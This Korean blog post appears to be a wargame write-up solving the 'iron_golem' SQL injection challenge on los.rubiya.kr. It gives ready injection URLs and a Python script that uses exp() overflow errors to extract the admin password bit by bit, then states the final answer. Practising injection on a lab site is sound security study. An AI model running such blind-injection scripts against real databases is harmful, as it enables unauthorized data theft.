반응형

문제를 보면 


if($result['id']) echo "<h2>Hello {$result[id]}</h2>"


부분이 삭제되어 있고


if(mysqli_error($db)) exit(mysqli_error($db));


부분이 들어가있음을 알 수 있다.

따라서 error based로 진행해야함을 알 수 있다.


(와 ) , _가 막혀있기 때문에 단순히 union based로 진행할 수 없으므로 error baed로 진행하였다.


어떤 함수를 사용할까 구글링하다가 exp를 이용하여 error based를 진행하는 문서를 발견하였다.

https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf )


자세한 사항은 추후 공부하기로 하고 일단, exp(709)의 경우 에러가 발생하지 않지만 exp(710)을 할 경우에는 에러가 발생하는 것을 확인할 수 있었고 if문을 활용하여 해당 방법을 이용하여 pw를 뽑아보았다.


일단 길이를 확인해보았더니 68자로 떴다.


길이 : 

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27+or+id=%27admin%27+and+if(length(pw)=68,exp(709),exp(710))%23


이전 문제와 동일하게 ascii로 하면 제대로 뜨지 않고 ord로 하였을 때 10000을 넘는 값을 가지는 것을 통해 한글로 되어있음을 알고 코딩을 통해 값을 뽑아내었다.


https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27+or+id=%27admin%27+and+if(ord(substr(pw,1,1))=47336,exp(709),exp(710))%23


첫번째는 '루'임을 확인


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
 
for chr_l in range(1,18):
    binary=''
    for bin_l in range(1,17):
        param="?pw=1%27+or+id=%27admin%27+and+if(1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),16,0),"+str(bin_l)+",1),exp(709),exp(710))%23"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=hvdn57171simgikg18kbppcan0')
        if 'DOUBLE value' in urllib2.urlopen(req).read():
            binary+='0'
        else:
            binary+='1'
        
        print binary
 
    silnex = silnex+(' %d' % int(binary,2))
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
cs


해당 방식을 이용해 코드를 작성하여 ascii 코드로 값들을 뽑아내 https://www.browserling.com/tools/ascii-to-text 사이트에서 복호화하였다.


답 : https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=루비꺼야!빼애애애애애애애액!!!


참고)

error based : https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf

exp 함수 : https://www.w3schools.com/sql/func_mysql_exp.asp

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
[LOS] 문제풀이 1번 - 10번  (0) 2019.05.10
[LOS] 22번 문제  (0) 2018.03.02
블로그 이미지

rootable

,